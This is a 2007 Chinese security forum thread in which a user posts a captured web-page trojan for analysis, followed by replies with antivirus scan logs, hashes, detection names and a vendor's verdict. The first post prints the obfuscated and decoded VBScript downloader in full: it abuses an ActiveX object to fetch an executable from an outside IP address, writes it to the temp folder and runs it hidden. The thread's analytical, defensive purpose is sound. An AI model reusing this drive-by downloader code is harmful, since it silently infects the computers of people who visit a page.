截到一网页木马，望高手分析一下

显示全部楼层 · 发表于 2007-3-12 10:37:15

网页木马的代码是：

<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words="%3Chtml%3E%0D%0A%20%3Cscript%20language%3D%22VBScript%22%3E%0D%0A%20%20%20%20aeiq%3D%22Mi%22%0D%0A%20%20%20%20cfpy%3D%22cr%22%0D%0A%20%20%20%20fgsg%3D%22os%22%0D%0A%20%20%20%20lima%3D%22of%22%0D%0A%20%20%20%20bypz%3D%22t%2E%22%0D%0A%20%20%20%20mbhi%3D%22XM%22%0D%0A%20%20%20%20pmzk%3D%22LH%22%0D%0A%20%20%20%20zqqi%3D%22TT%22%0D%0A%20%20%20%20wivb%3D%22P%22%0D%0A%0D%0A%20%20%20%20dl%20%3D%20%22http%3A%2F%2F58%2E61%2E154%2E10%2Fdata%2Eexe%22%0D%0Aon%20error%20resume%20next%0D%0A%20%20%20%20Set%20df%20%3D%20document%2EcreateElement%28%22object%22%29%0D%0A%20%20%20%20df%2EsetAttribute%20%22classid%22%2C%20%22clsid%3ABD96C556%2D65A3%2D11D0%2D983A%2D00C04FC29E36%22%0D%0A%20%20%20%20m5%3D%22file%22%0D%0A%20%20%20%20m6%3D%22copy%22%0D%0A%20%20%20%20m7%3D%22exit%22%0D%0A%20%20%20%20Set%20yc%20%3D%20document%2EcreateElement%28%22object%22%29%0D%0A%20%20%20%20yc%2EsetAttribute%20%22classid%22%2C%20%22clsid%3ABD96C556%2D65A3%2D11D0%2D983A%2D00C04FC29E36%22%0D%0A%20%20%20%20ta%3Dm4%0D%0A%20%20%20%20tb%3Dm5%0D%0A%20%20%20%20tc%3Dm6%0D%0A%20%20%20%20td%3Dm7%0D%0A%20%20%20%20yi%3D%22Microsoft%2EXMLHTTP%22%0D%0A%20%20%20%20Set%20yd%20%3D%20yc%2ECreateObject%28yi%2C%22%22%29%0D%0A%20%20%20%20tf%3D%22Ado%22%0D%0A%20%20%20%20tg%3D%22db%2E%22%0D%0A%20%20%20%20th%3D%22Str%22%0D%0A%20%20%20%20ti%3D%22eam%22%0D%0A%20%20%20%20yf%3Dtf%26tg%26th%26ti%0D%0A%20%20%20%20yg%3Dyf%0D%0A%20%20%20%20set%20ya%20%3D%20yc%2Ecreateobject%28yg%2C%22%22%29%0D%0A%20%20%20%20ya%2Etype%20%3D%201%0D%0A%20%20%20%20yh%3D%22GET%22%0D%0A%20%20%20%20yd%2EOpen%20yh%2C%20y%2C%20False%0D%0A%20%20%20%20yd%2ESend%0D%0A%20%20%20%20y9%3D%22%7Etemp351%2Eexe%22%0D%0A%20%20%20%20set%20yb%20%3D%20yc%2Ecreateobject%28%22Scripting%2EFileSystemObject%22%2C%22%22%29%0D%0A%20%20%20%20set%20ye%20%3D%20yb%2EGetSpecialFolder%282%29%0D%0A%20%20%20%20ya%2Eopen%0D%0A%20%20%20%20ping8%3D%22fana%2EBuildPath%28pa%2Cf8%29%22%0D%0A%20%20%20%20ping7%3D%22fanb%2EBuildPath%28pb%2Cf7%29%22%0D%0A%20%20%20%20ping6%3D%22fanc%2EBuildPath%28pd%2Cf6%29%22%0D%0A%20%20%20%20ping5%3D%22fand%2EBuildPath%28pf%2Cf5%29%22%0D%0A%20%20%20%20ping4%3D%22fane%2EBuildPath%28pg%2Cf4%29%22%0D%0A%20%20%20%20ping3%3D%22fanf%2EBuildPath%28ph%2Cf4%29%22%0D%0A%20%20%20%20ping2%3D%22fang%2EBuildPath%28pi%2Cf3%29%22%0D%0A%20%20%20%20ping1%3D%22fanh%2EBuildPath%28pg%2Cf1%29%22%0D%0A%20%20%20%20y0%3D%22yi%2EBuildPath%28yk%2Cy0%29%22%0D%0A%20%20%20%20y9%3D%20yb%2EBuildPath%28ye%2Cy9%29%0D%0A%20%20%20%20ya%2Ewrite%20yd%2EresponseBody%0D%0A%20%20%20%20ya%2Esavetofile%20y9%2C2%0D%0A%20%20%20%20ya%2Eclose%0D%0A%20%20%20%20set%20ye%20%3D%20yc%2Ecreateobject%28%22Shell%2EApplication%22%2C%22%22%29%0D%0A%20%20%20%20ye%2EShellExecute%20y9%2CBBS%2CBBS%2C%22open%22%2C0%3C%2Fscript%3E%0D%0A%20%20%20%20%3Cbody%20bgcolor%3D%22%23f9e6s2%22%3E%20%0D%0A%20%3C%2Fbody%3E%0D%0A%20%20%20%20%3C%2Fhtml%3E%0D%0A"
function SetNewWords()
{
var NewWords;
NewWords=unescape(Words);
document.write(NewWords);
}
SetNewWords();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

复制代码

解密后是:

<html>
<script language="VBScript">
aeiq="Mi"
cfpy="cr"
fgsg="os"
lima="of"
bypz="t."
mbhi="XM"
pmzk="LH"
zqqi="TT"
wivb="P"
dl = "http://58.61.154.10/data.exe"
on error resume next
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
m5="file"
m6="copy"
m7="exit"
Set yc = document.createElement("object")
yc.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
ta=m4
tb=m5
tc=m6
td=m7
yi="Microsoft.XMLHTTP"
Set yd = yc.CreateObject(yi,"")
tf="Ado"
tg="db."
th="Str"
ti="eam"
yf=tf&tg&th&ti
yg=yf
set ya = yc.createobject(yg,"")
ya.type = 1
yh="GET"
yd.Open yh, y, False
yd.Send
y9="~temp351.exe"
set yb = yc.createobject("Scripting.FileSystemObject","")
set ye = yb.GetSpecialFolder(2)
ya.open
ping8="fana.BuildPath(pa,f8)"
ping7="fanb.BuildPath(pb,f7)"
ping6="fanc.BuildPath(pd,f6)"
ping5="fand.BuildPath(pf,f5)"
ping4="fane.BuildPath(pg,f4)"
ping3="fanf.BuildPath(ph,f4)"
ping2="fang.BuildPath(pi,f3)"
ping1="fanh.BuildPath(pg,f1)"
y0="yi.BuildPath(yk,y0)"
y9= yb.BuildPath(ye,y9)
ya.write yd.responseBody
ya.savetofile y9,2
ya.close
set ye = yc.createobject("Shell.Application","")
ye.ShellExecute y9,BBS,BBS,"open",0</script>
<body bgcolor="#f9e6s2">
</body>
</html>

复制代码

木马见附件

显示全部楼层 · 发表于 2007-3-12 10:53:42

服务
服务器负载:  0%       100%

状态: 发现病毒 (注意: 就算本站报告是病毒，也可能是个别软件误报，请根据查毒结果自行判断：）)
文件名: data.rar
文件类型:  RAR archive data
文件大小:  2345
MD5:  59c2e0980546e4b2732a3058b120938d
SHA1:  b0601c661242fd6c665829f5fe72e1c24ddd048c
扫描结果
扫描开始时间2007-03-12 10:03:34 (CST)
软件名称  引擎版本  病毒库发布时间  扫描状态  所用时间
金山毒霸(KingSoft Anti-Virus)  2006.11.1.240  2007-03-11  没有检测到病毒 0.812
趋势杀毒(TrendMicro PC-cillin)  8.310-1002  2007-03-09  没有检测到病毒 0.967
卖咖啡防病毒(Mcafee)  5.1.00  2007-03-09  没有检测到病毒 1.034
卡巴斯基(Kaspersky)  5.5.10  2007-03-12  没有检测到病毒 4.165
小红伞(AntiVir)  7.3.1.41  2007-03-11  找到 HEUR/Malware 3.422
AVG 防病毒(AVG Antivirus)  7.5.45.386  2007-03-11  没有检测到病毒 1.702
BD 防病毒(BitDefender Antivirus)  7.60825.440359  2007-03-12  找到 Generic.Malware.dld!!.4C42B2D0 2.997
熊猫卫士(Panda Antivirus)  9.00.00  2007-03-10  没有检测到病毒 0.118
冰岛杀毒(Frisk F-PROT antivirus)  3.16.15  2007-03-09  没有检测到病毒 0.533
大蜘蛛(Dr.Web Anti-Virus)  4.33  2007-03-12  找到 DLOADER.Trojan 6.091
Avast 杀毒(Avast)  1.0.7  2007-03-11  没有检测到病毒 7.599

显示全部楼层 · 发表于 2007-3-12 10:58:53

Antivirus Version Update Result
AntiVir 7.3.1.41 03.11.2007 HEUR/Malware
Authentium 4.93.8 03.09.2007  no virus found
Avast 4.7.936.0 03.11.2007  no virus found
AVG 7.5.0.447 03.11.2007  no virus found
BitDefender 7.2 03.12.2007 Generic.Malware.dld!!.4C42B2D0
CAT-QuickHeal 9.00 03.10.2007 (Suspicious) - DNAScan
ClamAV devel-20060426 03.12.2007  no virus found
DrWeb 4.33 03.11.2007 DLOADER.Trojan
eSafe 7.0.14.0 03.11.2007 suspicious Trojan/Worm
eTrust-Vet 30.6.3469 03.10.2007  no virus found
Ewido 4.0 03.11.2007  no virus found
FileAdvisor 1 03.12.2007  no virus found
Fortinet 2.85.0.0 03.11.2007 W32/Legendmir.NDG!tr.pws
F-Prot 4.3.1.45 03.09.2007  no virus found
F-Secure 6.70.13030.0 03.11.2007  no virus found
Ikarus T3.1.1.3 03.11.2007  no virus found
Kaspersky 4.0.2.24 03.12.2007  no virus found
McAfee 4981 03.09.2007  no virus found
Microsoft 1.2306 03.12.2007  no virus found
NOD32v2 2107 03.11.2007 probably unknown NewHeur_PE virus
Norman 5.80.02 03.10.2007  no virus found
Panda 9.0.0.4 03.12.2007 Suspicious file
Prevx1 V2 03.12.2007  no virus found
Sophos 4.15.0 03.10.2007 Mal/Packer
Sunbelt 2.2.907.0 03.10.2007 VIPRE.Suspicious
Symantec 10 03.12.2007  no virus found
TheHacker 6.1.6.074 03.12.2007  no virus found
UNA 1.83 03.11.2007  no virus found
VBA32 3.11.2 03.10.2007  no virus found
VirusBuster 4.3.19:9 03.11.2007 Packed/FSG

显示全部楼层 · 发表于 2007-3-12 11:10:35

这个木马有什么危害？
盗密码？？

显示全部楼层 · 发表于 2007-3-12 18:09:12

反病毒专家 AntiVirusKit 2006 扫描病毒日志记录
版本 16.0.7
双引擎反病毒签名 2007-3-11
开始时间: 2007-3-12 18:09
引擎: KAV 引擎 (AVK 17.3052), BD 引擎 (BD 17.2292)
高启发式: 打开
压缩文件: 打开
系统区域: 打开

扫描系统区域...
扫描所选择的目录和文件...
对象: data.exe
在压缩档案里: F:\新建文件夹\data.rar
Status: 已发现病毒
病毒: Generic.Malware.dld!!.4C42B2D0 (BD 引擎)
对象: data.rar
路径: F:\新建文件夹
Status: 已发现病毒
病毒: Generic.Malware.dld!!.4C42B2D0 (BD 引擎)
扫描完成: 2007-3-12 18:09
已检查 1 个文件
已发现 1 个染毒文件

显示全部楼层 · 发表于 2007-3-13 15:34:23

detected: Trojan program Trojan-Downloader.Win32.Small.ejh URL: http://bbs.kafan.cn/attachment.php?aid=42118//data.exe//FSG

卡巴675不让下.

显示全部楼层 · 发表于 2007-3-13 15:37:16

Scan performed at: 2007-3-13 15:37:10
Scanning Log
NOD32 version 2110 (20070312) NT
Command line: C:\Documents and Settings\EQ2\桌面\data.rar
Operating memory - is OK

Date: 13.3.2007 Time: 15:37:14
Anti-Stealth technology is enabled.
Scanned disks, folders and files: C:\Documents and Settings\EQ2\桌面\data.rar
C:\Documents and Settings\EQ2\桌面\data.rar ?RAR ?data.exe - probably unknown NewHeur_PE virus [7]
Number of scanned files: 2
Number of threats found: 1
Number of files cleaned: 1
Time of completion: 15:37:14 Total scanning time: 0 sec (00:00:00)

Notes:
[7] File is probably infected with an unknown virus.

显示全部楼层 · 发表于 2007-3-13 15:38:41

微点杀

显示全部楼层 · 发表于 2007-3-13 18:41:27

显示全部楼层 · 发表于 2007-3-14 09:40:06

这是瑞星工程师的回答：
我们已经详细分析过您的问题和文件，以下是您上传的文件的分析结果：
文件名：data.exe
病毒名：Trojan.Xema.pc

截到一网页木马，望高手分析一下

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源